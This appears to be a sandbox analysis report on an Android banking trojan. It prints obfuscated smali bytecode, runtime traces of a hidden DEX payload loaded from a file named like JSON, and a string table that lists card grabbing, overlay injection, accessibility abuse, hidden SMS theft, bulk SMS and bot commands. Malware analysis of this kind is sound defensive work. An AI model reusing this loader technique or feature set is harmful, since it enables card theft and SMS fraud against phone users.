                                            60invoke-virtual/range {v1 .. v6}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->drillrhythm(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/reflect/Field;Ljava/lang/ref/WeakReference;)Ldalvik/system/DexClassLoader;
                                            61move-result-object p2
                                            63invoke-virtual {p1, v0, p2}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                            • Time: 1515387
                                              • This:
                                                • private java.lang.ClassLoader android.app.LoadedApk.mClassLoader
                                                • getName:mClassLoader
                                              • p0: android.app.LoadedApk@3d935ab
                                              • p1: dalvik.system.DexClassLoader[DexPathList[[zip file "/data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json"],nativeLibraryDirectories=[, /system/lib, /vendor/lib]]]
                                            64return-void
                                            Cross References
                                            APIs
                                            • java.io.FileOutputStream.<init>
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Throws;
                                            1value = {
                                            2Ljava/io/FileNotFoundException;
                                            3}
                                            4.end annotation
                                            5sget-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->DHkEKXuNLLrsjXYOeiI_6988010:J
                                            6sget-wide v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            7sget-wide v4, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            8mul-long v0, v0, v2
                                            9mul-long v0, v0, v4
                                            10const-wide/32 v2, 0x2f53d6
                                            11mul-long v0, v0, v2
                                            12sput-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->tiAEnrPiJBsaLOIyEyD_4017240:J
                                            13sget-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->tiAEnrPiJBsaLOIyEyD_4017240:J
                                            14xor-long v2, v0, v4
                                            15sput-wide v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            16sget-wide v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            17mul-long v2, v2, v0
                                            18and-long v0, v4, v2
                                            19sput-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            20const/4 v0, 0x0
                                            21goto_20: const/16 v1, 0x19
                                            22if-ge v0, v1, :cond_3a
                                            23const/16 v1, 0x22
                                            24sput v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            25sget v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            26sget v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            27and-int/2addr v1, v2
                                            28int-to-double v1, v1
                                            29sput-wide v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->ApEEAPlLt_300918:D
                                            30sget-wide v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->DHkEKXuNLLrsjXYOeiI_6988010:J
                                            31sget-wide v3, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            32and-long/2addr v1, v3
                                            33sput-wide v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            34add-int/lit8 v0, v0, 0x1
                                            35goto/16 :goto_20
                                            36cond_3a: new-instance v0, Ljava/io/FileOutputStream;
                                            38invoke-direct {v0, p0}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                                            • Time: 1496788
                                              • This:
                                                • java.io.FileOutputStream@6fe00f2
                                              • p0: /data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json
                                              • Return:
                                                • java.io.FileOutputStream@6fe00f2
                                            39return-object v0
                                            Cross References
                                            APIs
                                            • java.io.File.length
                                            Position Instruction Meta Information
                                            0sget v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->UpxWJQgUJctcabdw_200577:I
                                            1sget v1, Laccess/pact/agent/PLrXdYwWdYpDiKl;->NjfTIEOkcTWZaTuc_360705:I
                                            2const v1, 0xab53b
                                            3if-eq v0, v1, :cond_20
                                            4sget-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->SyOBbANpTaNMeRcLXaT_4347828:J
                                            5sget-wide v2, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            6and-long v4, v0, v2
                                            7sput-wide v4, Laccess/pact/agent/PLrXdYwWdYpDiKl;->tiAEnrPiJBsaLOIyEyD_4017240:J
                                            8const/16 v4, 0x17
                                            9sput v4, Laccess/pact/agent/PLrXdYwWdYpDiKl;->LIOUbnyLqsnDaaeDOZxC_182245:I
                                            10const-wide/32 v4, 0x287992
                                            11sget-wide v6, Laccess/pact/agent/PLrXdYwWdYpDiKl;->tiAEnrPiJBsaLOIyEyD_4017240:J
                                            12add-long/2addr v0, v4
                                            13mul-long v2, v2, v6
                                            14sub-long/2addr v0, v2
                                            15sput-wide v0, Laccess/pact/agent/PLrXdYwWdYpDiKl;->AhMUQLAysSTScIpGsdE_5115581:J
                                            16cond_20:
                                            17invoke-virtual {p0}, Ljava/io/File;->length()J
                                            • Time: 1496946
                                              • This:
                                                • /data/user/0/access.pact.agent/app_DynamicOptDex/DAOO.json
                                              • Return:
                                                • 372304
                                            18move-result-wide v0
                                            19long-to-int p0, v0
                                            20return p0

                                            143 Non-Executed Methods

                                            Cross References
                                            APIs
                                            • java.util.HashMap.<init>
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.put
                                            • java.util.Map.get
                                            Strings
                                            • TXT_STARTED_SERVICE
                                            • Started Service
                                            • TXT_ACTIVITY_STARTED
                                            • Activity Started
                                            • TXT_SERVICE_DESTROYED
                                            • Service Destroyed
                                            • TXT_ACTIVITY_DESTROYED
                                            • Activity Destroyed
                                            • TXT_C_1
                                            • AccessibilityS
                                            • TXT_1
                                            • Auto Confirming Permission
                                            • TXT_2
                                            • Auto Confirming Battery
                                            • TXT_3
                                            • Auto Confirming Installation
                                            • TXT_4
                                            • Trying to Force stop
                                            • TXT_5
                                            • Trying to Revoke Permissions
                                            • TXT_6
                                            • Trying to Remove App
                                            • TXT_7
                                            • Closing verificator window
                                            • TXT_8
                                            • Protecting our app from settings/packageinstaller
                                            • TXT_9
                                            • Starting CC Grabber
                                            • TXT_10
                                            • Starting Injection
                                            • TXT_11
                                            • CC Injection Started
                                            • TXT_12
                                            • CC Injection disabled
                                            • TXT_14
                                            • Service Interrupted
                                            • TXT_15
                                            • Closing Window
                                            • TXT_16
                                            • App Protection Disabled
                                            • TXT_C_2
                                            • AccessibilityWatcher
                                            • TXT_17
                                            • Enable access for
                                            • TXT_18
                                            • Asking for Accessibility
                                            • TXT_18a
                                            • Sending to Settings
                                            • TXT_C_3
                                            • Helper
                                            • TXT_19
                                            • Sent SMS to
                                            • TXT_20
                                            • Command: Send SMS:
                                            • TXT_21
                                            • Silent Msg:
                                            • TXT_22
                                            • HtmlLoader
                                            • TXT_23
                                            • Thank you. You can now use Google App Store again.
                                            • TXT_24
                                            • Activity Finished - CC Grabbed
                                            • TXT_C_4
                                            • Installer
                                            • TXT_25
                                            • No Write Permissions, Calling Permissions class...
                                            • TXT_26
                                            • Download Complete -> Installing...
                                            • TXT_27
                                            • APK Update completed...
                                            • TXT_C_5
                                            • MainService
                                            • TXT_28
                                            • Creating notification channel
                                            • TXT_C_6
                                            • PingService
                                            • TXT_29
                                            • Called startRepeatingTask
                                            • TXT_30
                                            • The Service Running state is:
                                            • TXT_31
                                            • New Alarm at:
                                            • TXT_32
                                            • Starting Alarm Manager
                                            • TXT_33
                                            • Receive Update Apk Command:
                                            • TXT_34
                                            • Extended Injection Disabled
                                            • TXT_35
                                            • Extended Injection Enabled
                                            • TXT_36
                                            • Permissions already Showing
                                            • TXT_37
                                            • Command: CC Grabber Enabled
                                            • TXT_38
                                            • Command: CC Grabber Disabled
                                            • TXT_39
                                            • Command: Start Accessibility
                                            • TXT_40
                                            • Accessibility Watcher Starting
                                            • TXT_41
                                            • Accessibility is already Running
                                            • TXT_42
                                            • Command: Unlock Phone
                                            • TXT_43
                                            • Accessibility Disabled
                                            • TXT_44
                                            • Command: KILL BOT
                                            • TXT_45
                                            • Command: New URL set:
                                            • TXT_46
                                            • Command: Ping Delay set at
                                            • TXT_47
                                            • No Contacts permissions for getAllContacts()
                                            • TXT_48
                                            • Empty Contacts List
                                            • TXT_49
                                            • Saving
                                            • TXT_50
                                            • contacts
                                            • TXT_51
                                            • Collected
                                            • TXT_52
                                            • Command: Stop Hidden SMS
                                            • TXT_53
                                            • Changing to Default App
                                            • TXT_54
                                            • Hidden SMS is not Running
                                            • TXT_55
                                            • Command: Start Hidden SMS
                                            • TXT_56
                                            • Hidden SMS is already Running
                                            • TXT_57
                                            • No SMS permissions for getAllSms()
                                            • TXT_58
                                            • Command: Get All SMS
                                            • TXT_59
                                            • Total SMS:
                                            • TXT_60
                                            • Empty Mailbox
                                            • TXT_61
                                            • SMS Inbox:
                                            • TXT_62
                                            • SMS Sent:
                                            • TXT_63
                                            • Releasing WakeLock
                                            • TXT_C_7
                                            • Permissions
                                            • TXT_64
                                            • Asking for SMS Permissions
                                            • TXT_65
                                            • Requesting SMS Permissions
                                            • TXT_66
                                            • Contacts NOT ALLOWED
                                            • TXT_67
                                            • Contacts ALLOWED
                                            • TXT_68
                                            • Requesting Contacts Permissions
                                            • TXT_69
                                            • WriteStorage NOT ALLOWED
                                            • TXT_70
                                            • WriteStorage ALLOWED
                                            • TXT_70a
                                            • PhoneState ALLOWED
                                            • TXT_71
                                            • Requesting Write Permissions
                                            • TXT_72
                                            • Battery Optimization is ON
                                            • TXT_73
                                            • Battery Optimization is OFF
                                            • TXT_74
                                            • SMS Permissions is now ALLOWED
                                            • TXT_75
                                            • SMS Permissions is now NOT ALLOWED
                                            • TXT_76
                                            • Contacts Permissions is now ALLOWED
                                            • TXT_77
                                            • Contacts Permissions is now NOT ALLOWED
                                            • TXT_78
                                            • Write Permissions is now ALLOWED
                                            • TXT_79
                                            • Write Permissions is now NOT ALLOWED
                                            • TXT_78a
                                            • Read Phone State is now ALLOWED
                                            • TXT_79a
                                            • Read Phone State is now NOT ALLOWED
                                            • TXT_C_8
                                            • PreActivity
                                            • TXT_80
                                            • Starting Accessibility Watcher
                                            • TXT_81
                                            • New permissions asked...
                                            • TXT_C_9
                                            • MainReceiver
                                            • TXT_82
                                            • Action is:
                                            • TXT_83
                                            • ----- Phone Restarting Completed -----
                                            • TXT_84
                                            • ----- APK Updated -----
                                            • TXT_C_10
                                            • RestartServicesReceiver
                                            • TXT_86
                                            • Ping Service Killed - Restarting...
                                            • TXT_C_11
                                            • ScreenReceiver
                                            • TXT_88
                                            • Screen is ON
                                            • TXT_89
                                            • Screen is OFF
                                            • TXT_C_12
                                            • AskToChangeSMS
                                            • TXT_90
                                            • Ask to Change
                                            • TXT_91
                                            • TXT_92
                                            • Already Default App
                                            • TXT_93
                                            • Ask to change after deny
                                            • TXT_94
                                            • Hidden SMS Started
                                            • TXT_95
                                            • Permission given
                                            • TXT_C_13
                                            • Incoming SMS
                                            • TXT_96
                                            • Force Ping Service
                                            • TXT_97
                                            • ----- Sending to Ping after SMS -----
                                            • TXT_C_14
                                            • SMSBulkSender
                                            • TXT_98
                                            • Sending Bulk SMS
                                            • TXT_99
                                            • No Contacts got...
                                            • TXT_100
                                            • Final SMS Send to contacts.
                                            • TXT_101
                                            • Sent message to
                                            • TXT_102
                                            • contacts.
                                            • TXT_103
                                            • left to be sent...
                                            • TXT_C_15
                                            • AppGlobals
                                            • TXT_104
                                            • Application Started
                                            • TXT_C_16
                                            • SettingsReceiver
                                            • TXT_105
                                            • Settings Closed...Re-Opening it!
                                            • TXT_106
                                            • Installed Apps: <BR>
                                            • TXT_107
                                            • Injection Package Added
                                            • TXT_108
                                            • Call Forwarding to:
                                            • TXT_109
                                            • Call Forwarding disabled
                                            • TXT_110
                                            • Asking to allow unknown sources...
                                            • TXT_111
                                            • Package name is:
                                            • TXT_112
                                            • No write permissions... Starting Permissions...
                                            • TXT_113
                                            • Unknown Sources are now Available
                                            Position Instruction Meta Information
                                            0new-instance v0, Ljava/util/HashMap;
                                            2invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                                            4const-string v1, "TXT_STARTED_SERVICE"
                                            6const-string v2, "Started Service"
                                            8invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            10const-string v1, "TXT_ACTIVITY_STARTED"
                                            12const-string v2, "Activity Started"
                                            14invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            16const-string v1, "TXT_SERVICE_DESTROYED"
                                            18const-string v2, "Service Destroyed"
                                            20invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            22const-string v1, "TXT_ACTIVITY_DESTROYED"
                                            24const-string v2, "Activity Destroyed"
                                            26invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            28const-string v1, "TXT_C_1"
                                            30const-string v2, "AccessibilityS"
                                            32invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            34const-string v1, "TXT_1"
                                            36const-string v2, "Auto Confirming Permission"
                                            38invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            40const-string v1, "TXT_2"
                                            42const-string v2, "Auto Confirming Battery"
                                            44invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            46const-string v1, "TXT_3"
                                            48const-string v2, "Auto Confirming Installation"
                                            50invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            52const-string v1, "TXT_4"
                                            54const-string v2, "Trying to Force stop"
                                            56invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            58const-string v1, "TXT_5"
                                            60const-string v2, "Trying to Revoke Permissions"
                                            62invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            64const-string v1, "TXT_6"
                                            66const-string v2, "Trying to Remove App"
                                            68invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            70const-string v1, "TXT_7"
                                            72const-string v2, "Closing verificator window"
                                            74invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            76const-string v1, "TXT_8"
                                            78const-string v2, "Protecting our app from settings/packageinstaller"
                                            80invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            82const-string v1, "TXT_9"
                                            84const-string v2, "Starting CC Grabber"
                                            86invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            88const-string v1, "TXT_10"
                                            90const-string v2, "Starting Injection"
                                            92invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            94const-string v1, "TXT_11"
                                            96const-string v2, "CC Injection Started"
                                            98invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            100const-string v1, "TXT_12"
                                            102const-string v2, "CC Injection disabled"
                                            104invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            106const-string v1, "TXT_14"
                                            108const-string v2, "Service Interrupted"
                                            110invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            112const-string v1, "TXT_15"
                                            114const-string v2, "Closing Window"
                                            116invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            118const-string v1, "TXT_16"
                                            120const-string v2, "App Protection Disabled"
                                            122invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            124const-string v1, "TXT_C_2"
                                            126const-string v2, "AccessibilityWatcher"
                                            128invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            130const-string v1, "TXT_17"
                                            132const-string v2, "Enable access for "
                                            134invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            136const-string v1, "TXT_18"
                                            138const-string v2, "Asking for Accessibility"
                                            140invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            142const-string v1, "TXT_18a"
                                            144const-string v2, "Sending to Settings"
                                            146invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            148const-string v1, "TXT_C_3"
                                            150const-string v2, "Helper"
                                            152invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            154const-string v1, "TXT_19"
                                            156const-string v2, "Sent SMS to "
                                            158invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            160const-string v1, "TXT_20"
                                            162const-string v2, "Command: Send SMS: "
                                            164invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            166const-string v1, "TXT_21"
                                            168const-string v2, "Silent Msg: "
                                            170invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            172const-string v1, "TXT_22"
                                            174const-string v2, "HtmlLoader"
                                            176invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            178const-string v1, "TXT_23"
                                            180const-string v2, "Thank you. You can now use Google App Store again."
                                            182invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            184const-string v1, "TXT_24"
                                            186const-string v2, "Activity Finished - CC Grabbed"
                                            188invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            190const-string v1, "TXT_C_4"
                                            192const-string v2, "Installer"
                                            194invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            196const-string v1, "TXT_25"
                                            198const-string v2, "No Write Permissions, Calling Permissions class..."
                                            200invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            202const-string v1, "TXT_26"
                                            204const-string v2, "Download Complete -> Installing..."
                                            206invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            208const-string v1, "TXT_27"
                                            210const-string v2, "APK Update completed..."
                                            212invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            214const-string v1, "TXT_C_5"
                                            216const-string v2, "MainService"
                                            218invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            220const-string v1, "TXT_28"
                                            222const-string v2, "Creating notification channel"
                                            224invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            226const-string v1, "TXT_C_6"
                                            228const-string v2, "PingService"
                                            230invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            232const-string v1, "TXT_29"
                                            234const-string v2, "Called startRepeatingTask"
                                            236invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            238const-string v1, "TXT_30"
                                            240const-string v2, "The Service Running state is: "
                                            242invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            244const-string v1, "TXT_31"
                                            246const-string v2, "New Alarm at: "
                                            248invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            250const-string v1, "TXT_32"
                                            252const-string v2, "Starting Alarm Manager"
                                            254invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            256const-string v1, "TXT_33"
                                            258const-string v2, "Receive Update Apk Command: "
                                            260invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            262const-string v1, "TXT_34"
                                            264const-string v2, "Extended Injection Disabled"
                                            266invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            268const-string v1, "TXT_35"
                                            270const-string v2, "Extended Injection Enabled"
                                            272invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            274const-string v1, "TXT_36"
                                            276const-string v2, "Permissions already Showing"
                                            278invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            280const-string v1, "TXT_37"
                                            282const-string v2, "Command: CC Grabber Enabled"
                                            284invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            286const-string v1, "TXT_38"
                                            288const-string v2, "Command: CC Grabber Disabled"
                                            290invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            292const-string v1, "TXT_39"
                                            294const-string v2, "Command: Start Accessibility"
                                            296invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            298const-string v1, "TXT_40"
                                            300const-string v2, "Accessibility Watcher Starting"
                                            302invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            304const-string v1, "TXT_41"
                                            306const-string v2, "Accessibility is already Running"
                                            308invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            310const-string v1, "TXT_42"
                                            312const-string v2, "Command: Unlock Phone"
                                            314invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            316const-string v1, "TXT_43"
                                            318const-string v2, "Accessibility Disabled"
                                            320invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            322const-string v1, "TXT_44"
                                            324const-string v2, "Command: KILL BOT"
                                            326invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            328const-string v1, "TXT_45"
                                            330const-string v2, "Command: New URL set: "
                                            332invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            334const-string v1, "TXT_46"
                                            336const-string v2, "Command: Ping Delay set at "
                                            338invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            340const-string v1, "TXT_47"
                                            342const-string v2, "No Contacts permissions for getAllContacts()"
                                            344invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            346const-string v1, "TXT_48"
                                            348const-string v2, "Empty Contacts List"
                                            350invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            352const-string v1, "TXT_49"
                                            354const-string v2, "Saving "
                                            356invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            358const-string v1, "TXT_50"
                                            360const-string v2, " contacts"
                                            362invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            364const-string v1, "TXT_51"
                                            366const-string v2, "Collected "
                                            368invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            370const-string v1, "TXT_52"
                                            372const-string v2, "Command: Stop Hidden SMS"
                                            374invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            376const-string v1, "TXT_53"
                                            378const-string v2, "Changing to Default App"
                                            380invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                            382const-string v1, "TXT_54"
                                            384const-string v2, "Hidden SMS is not Running"
